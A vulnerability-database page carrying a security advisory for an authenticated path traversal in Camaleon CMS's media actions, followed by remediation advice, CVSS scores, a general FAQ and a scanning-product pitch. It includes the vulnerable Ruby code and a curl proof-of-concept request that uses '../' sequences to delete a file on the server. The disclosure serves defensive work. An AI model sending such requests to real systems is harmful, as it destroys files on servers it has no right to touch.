Vulnerability Database

384,139

Total vulnerabilities in the database

Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185) — camaleon_cms

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.

Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:

def actions authorize! :manage, :media if params[:media_action] != 'crop_url' params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present? case params[:media_action] [..] when 'del_file' cama_uploader.delete_file(params[:folder].gsub('//', '/')) render plain: ''

into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):

def delete_file(key) file = File.join(@root_folder, key) FileUtils.rm(file) if File.exist? file @instance.hooks_run('after_delete', key) get_media_collection.find_by_key(key).take.destroy end

Where it is joined in an unchecked manner with the root folder and then deleted.

Proof of concept The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \ -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \ -b $'auth_token=[..]; _cms_session=[..]' \ --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \ $'https://<camaleon-host>/admin/media/actions?actions=true'

Impact This issue may lead to a defective CMS or system.

Remediation Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal

  • Published: Sep 18, 2024
  • Updated: Jun 5, 2026
  • GHSA: GHSA-7x4w-cj9r-h4v9
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.2
  • AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.